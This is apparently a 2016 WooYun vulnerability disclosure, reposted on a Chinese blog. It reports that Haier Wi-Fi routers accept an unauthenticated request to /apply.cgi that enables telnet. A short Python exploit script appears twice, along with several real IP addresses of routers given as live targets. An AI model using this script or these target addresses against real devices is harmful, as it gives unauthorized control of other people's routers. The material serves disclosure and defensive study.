WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-27: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备

详细说明:

该无线路由被大量使用,可通过该网站搜索:

https://www.oshadan.com/main,关键字:Haier Wifi,可搜索到5000+

1.png



经测试发现,该路由的/st_device.asp 文件有这样一个功能,如图:

2.png



”启用 telnet远程管理“,打开这一选项,是不是就可以telnet了呢,试试

选择该项,点击确定,然后执行:telnet xxx.xxx.xxx.xxx 23

奇迹出现了,可直接登录设备,执行一系列的命令。

便于测试,我简单写了一个python脚本,开通该功能:

code 区域
import sys
import requests

#url = sys.argv[1]
url = 'http://124.152.236.162'
if 'http' not in url: os._exit()
url = "{}/apply.cgi".format(url)
data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
print '[*] Opening telnet ..'
req = requests.post(url, data=data)
if req.status_code == 200:
print '[*] Success ..'



直接运行该脚本,即可开通telnet远程控制的功能。

随机选择一些案例来进行漏洞证明:

0x1 http://124.152.236.162

telnet 124.152.236.162 23

3.png



0x2 http://124.152.236.186

telnet 124.152.236.186 23

4.png



0x3 http://49.117.1.98/

telnet 49.117.1.98 23

5.png



再给出一些案例:

code 区域
http://49.117.1.98/
http://124.152.236.186
http://124.152.236.162
http://72.130.248.15/
http://77.35.7.104/

 

漏洞证明:

该无线路由被大量使用,可通过该网站搜索:

https://www.oshadan.com/main,关键字:Haier Wifi,可搜索到5000+

1.png



经测试发现,该路由的/st_device.asp 文件有这样一个功能,如图:

2.png



”启用 telnet远程管理“,打开这一选项,是不是就可以telnet了呢,试试

选择该项,点击确定,然后执行:telnet xxx.xxx.xxx.xxx 23

奇迹出现了,可直接登录设备,执行一系列的命令。

便于测试,我简单写了一个python脚本,开通该功能:

code 区域
import sys
import requests

#url = sys.argv[1]
url = 'http://124.152.236.162'
if 'http' not in url: os._exit()
url = "{}/apply.cgi".format(url)
data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
print '[*] Opening telnet ..'
req = requests.post(url, data=data)
if req.status_code == 200:
print '[*] Success ..'



直接运行该脚本,即可开通telnet远程控制的功能。

随机选择一些案例来进行漏洞证明:

0x1 http://124.152.236.162

telnet 124.152.236.162 23

3.png



0x2 http://124.152.236.186

telnet 124.152.236.186 23

4.png



0x3 http://49.117.1.98/

telnet 49.117.1.98 23

5.png

 

修复方案:

加强权限验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-04-28 17:33

厂商回复:

 

最新状态:

2016-04-28:感谢白帽子的测试与提醒,该漏洞属于已知问题,WooYun-2016-196887,WooYun-2015-155274,并且最新版本5.9.4.3已经修正该问题。欢迎继续关注海尔安全,谢谢。


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度未收录『点击提交』

本文链接:WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备 - https://www.15qq.cn/wooyun/853.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知